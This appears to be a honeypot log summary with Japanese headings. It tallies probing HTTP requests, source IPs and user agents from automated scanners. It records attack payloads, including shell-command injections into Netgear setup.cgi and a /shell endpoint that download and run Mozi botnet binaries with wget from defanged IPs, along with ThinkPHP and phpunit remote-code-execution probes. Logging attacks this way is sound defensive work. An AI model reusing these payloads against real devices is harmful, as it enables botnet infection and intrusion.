2	GET	/pma2016/index.php?lang=en	HTTP/1.1
1	GET	/pma2018/index.php?lang=en	HTTP/1.1
1	GET	/pma2019/index.php?lang=en	HTTP/1.1
3	GET	/pma2020/index.php?lang=en	HTTP/1.1
1	GET	/pma2021/index.php?lang=en	HTTP/1.1
1	GET	/public/index.php	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http[:]//178[.]175[.]6[.]39:40319/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	HTTP/1.1
1	GET	/sitemap.xml	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
2	GET	/sql/phpMyAdmin2/index.php?lang=en	HTTP/1.1
1	GET	/sql/phpmanager/index.php?lang=en	HTTP/1.1
2	GET	/sql/phpmy-admin/index.php?lang=en	HTTP/1.1
1	GET	/sql/phpmyadmin2/index.php?lang=en	HTTP/1.1
1	GET	/sql/sql-admin/index.php?lang=en	HTTP/1.1
2	GET	/sql/sql/index.php?lang=en	HTTP/1.1
1	GET	/sql/sqlweb/index.php?lang=en	HTTP/1.1
1	GET	/sql/webadmin/index.php?lang=en	HTTP/1.1
1	GET	/stalker_portal/c/	HTTP/1.1
1	GET	/stalker_portal/c/version.js	HTTP/1.1
1	GET	/stream/live.php	HTTP/1.1
1	GET	/streaming/clients_live.php	HTTP/1.1
2	GET	/system_api.php	HTTP/1.1
1	GET	/thinkphp/html/public/index.php	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/wp-content/plugins/wp-file-manager/readme.txt	HTTP/1.1
1	HEAD	/	HTTP/1.0
1	POST	/Autodiscover/Autodiscover.xml	HTTP/1.1
2	POST	/GponForm/diag_Form?images/	HTTP/1.1
1	POST	/HNAP1/	HTTP/1.0
1	POST	/api/jsonws/invoke	HTTP/1.1
2	POST	/b65f8b5/u4bz1zb7mg829x14/	HTTP/1.1
1	POST	/index.php?s=captcha	HTTP/1.1
1	POST	/phpMyAdmin/scripts/setup.php	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.71.220.250	United States
11	45.155.205.211	Russia
1	52.163.87.223	United States
1	66.240.205.34	United States
4	82.221.105.6	Iceland
3	91.239.130.30	United Kingdom
1	104.248.54.101	United States
1	109.94.164.28	Iran
1	115.79.7.15	Vietnam
1	117.10.86.130	China
3	125.64.94.148	China
1	135.181.196.29	Germany
1	139.162.145.250	Netherlands
1	147.135.115.235	United States
7	159.65.13.40	United States
1	159.65.148.251	United States
3	163.172.161.118	United Kingdom
1	165.227.149.78	United States
1	178.175.80.125	Albania
1	182.114.97.180	China
1	192.241.206.17	United States
4	198.20.99.130	United States
3	205.185.122.102	United States

UserAgent一覧

件数	UserAgent
12	-
3	Go-http-client/1.1
2	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
1	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
7	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0
2	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15
11	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2	Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36 OPR/52.0.2871.99
3	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36
3	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1	Mozilla/5.0 zgrab/0.x
1	python-requests/2.22.0
1	python-requests/2.9.1

リクエスト内容一覧

件数	Method	Request	Protocol
1		Gh0st\xad
1		\x16\x03\x01\x01\xfb\x01
3	CONNECT	cdn[.]jsdelivr[.]net/:443	HTTP/1.1
1	CONNECT	www[.]bing[.]com/:443	HTTP/1.1
3	GET	/.env	HTTP/1.1
3	GET	/.well-known/security.txt	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=__HelloThinkPHP	HTTP/1.1
1	GET	/_ignition/execute-solution	HTTP/1.1
1	GET	/bag2	HTTP/1.1
1	GET	/boaform/admin/formLogin?username=ec8&psd=ec8	HTTP/1.0
3	GET	/config/getuser?index=0	HTTP/1.1
1	GET	/console/	HTTP/1.1
3	GET	/favicon.ico	HTTP/1.1
1	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21	HTTP/1.1
1	GET	/jenkins/login	HTTP/1.1
1	GET	/login	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
3	GET	/robots.txt	HTTP/1.1
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//117[.]10[.]86[.]130:47621/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//178[.]175[.]80[.]125:57400/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
2	GET	/sitemap.xml	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/wp-content/plugins/wp-file-manager/readme.txt	HTTP/1.1
1	GET	/wp-login.php	HTTP/1.1
1	GET	http[:]//proxy[.]korsangazi[.]com:80/bc61121a8191137a1f6357ea09cea3d3.html	HTTP/1.1
1	GET	http[:]//www[.]bing[.]com/	HTTP/1.1
2	HEAD	/	HTTP/1.1
1	POST	/Autodiscover/Autodiscover.xml	HTTP/1.1
1	POST	/_ignition/execute-solution	HTTP/1.1
1	POST	/api/jsonws/invoke	HTTP/1.1
2	POST	/b65f8b5/u4bz1zb7mg829x14/	HTTP/1.1
2	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	POST	http[:]//withthis[.]site/d3be5ae64c466d8bd99ada5a50dc9a7104e1c19e3ccea7b8c04117ce77346a36d90c6b5142933f5f4ddc4788e5d0280f28f26601e630714325260d675d160999500f653d240803e96ccc58834c2c1fcca5f9e0072f5f286e6e92a7cd26d82c83	HTTP/1.1